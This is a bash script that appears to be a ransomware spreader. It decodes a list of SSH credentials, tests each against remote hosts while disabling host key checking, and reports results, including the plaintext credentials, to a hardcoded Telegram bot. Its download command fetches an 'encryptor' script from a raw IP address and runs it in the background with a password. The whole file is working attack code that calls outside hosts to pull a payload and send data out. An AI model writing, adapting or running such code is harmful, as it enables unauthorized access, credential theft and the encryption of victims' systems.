#!/bin/bash

allThreads=($1)
crypt_pass="123123"
command_download="apt install wget curl -y;yum install wget curl -y;cd /tmp;wget http://185.141.25.168/encryptors/crypt2.sh;chmod +x crypt2.sh;nohup ./crypt2.sh '$crypt_pass' & exit"

install_tools ()
{
	yum install wget curl sshpass pssh openssl -y &>/dev/null
}

send_message ()
{
	TOKEN='1322235264:AAE7QI-f1GtAF_huVz8E5IBdb5JbWIIiGKI'
	MSG_URL='https://api.telegram.org/bot'$TOKEN'/sendMessage?chat_id='
	MSG=$1
	ID_MSG='1297663267'

	for id in $ID_MSG
	do
		curl -s --insecure --data-urlencode "text=$MSG" "$MSG_URL$id&" &>/dev/null &
	done
}

check_ssh_connect() #example (check_ssh_connect root|127.0.0.1|22|true/false|password/null); true=check with passw; false=check with key; return code:0-good connect 254-ping error 255-ssh connect error
{
	parse_arg=$1

	user_host=$(echo "${parse_arg}" | awk -F "|" '{print $1}')
	ip_host=$(echo "${parse_arg}" | awk -F "|" '{print $2}')
	port_host=$(echo "${parse_arg}" | awk -F "|" '{print $3}')
	passwd_state=$(echo "${parse_arg}" | awk -F "|" '{print $4}')
	password=$(echo "${parse_arg}" | awk -F "|" '{print $5}')

	if (ping $ip_host -c 1 -w 3  >/dev/null); then
		echo -e "[+] Ping \033[32m${ip_host}\033[0m good"
		if ($passwd_state); then
			echo -e "SSH Connection with Password: $password to \033[33m$user_host@$ip_host:$port_host\033[0m"
			if (sshpass -p $password ssh -o stricthostkeychecking=no -o userknownhostsfile=/dev/null -o passwordauthentication=yes "${user_host}"@"${ip_host}" -p "${port_host}" : 2>/dev/null); then
				return 0 
			else
				return 255
			fi
		else
			echo -e "Check SSH Connection with Key: rsa_key \033[33m$user_host@$ip_host:$port_host\033[0m"
			if (ssh -i rsa_key -o stricthostkeychecking=no -o userknownhostsfile=/dev/null -o passwordauthentication=no "${user_host}"@"${ip_host}" -p "${port_host}" : 2>/dev/null);then
				return 0
			else
				return 255
			fi
		fi
	else
		echo -e "[-] Ping \033[31m${ip_host}\033[0m bad"
		return 254
	fi
}

ssh_exec_command()
{
	parse_arg=$1

	user_host=$(echo "${parse_arg}" | awk -F "|" '{print $1}')
	ip_host=$(echo "${parse_arg}" | awk -F "|" '{print $2}')
	port_host=$(echo "${parse_arg}" | awk -F "|" '{print $3}')
	passwd_state=$(echo "${parse_arg}" | awk -F "|" '{print $4}')
	password=$(echo "${parse_arg}" | awk -F "|" '{print $5}')

	if ($passwd_state); then
		sshpass -p $password ssh -o stricthostkeychecking=no -o userknownhostsfile=/dev/null -o passwordauthentication=yes "${user_host}"@"${ip_host}" -p "${port_host}" 'echo "command run"'
	else
		ssh -i rsa_key -o stricthostkeychecking=no -o userknownhostsfile=/dev/null -o passwordauthentication=no "${user_host}"@"${ip_host}" -p "${port_host}" 'echo "command run"'
	fi
}

start_thread()
{
	for encode_ssh_credential in ${allThreads[@]}; do
		decode_ssh_credential=$(openssl enc -base64 -d <<< $encode_ssh_credential)

		check_ssh_connect $decode_ssh_credential
		case $? in
			'0') echo "Run upload" 
			ssh_exec_command $decode_ssh_credential
				 send_message "Run upload script ($decode_ssh_credential)";;
			'254') echo "Ping error"
				   send_message "Host unavailable ($decode_ssh_credential)";;
			'255') echo "SSH connection bad"
				   send_message "Bad ssh connection ($decode_ssh_credential)";;
			*) echo "Unknown error"
		esac
	done
}

start_thread $allThreads
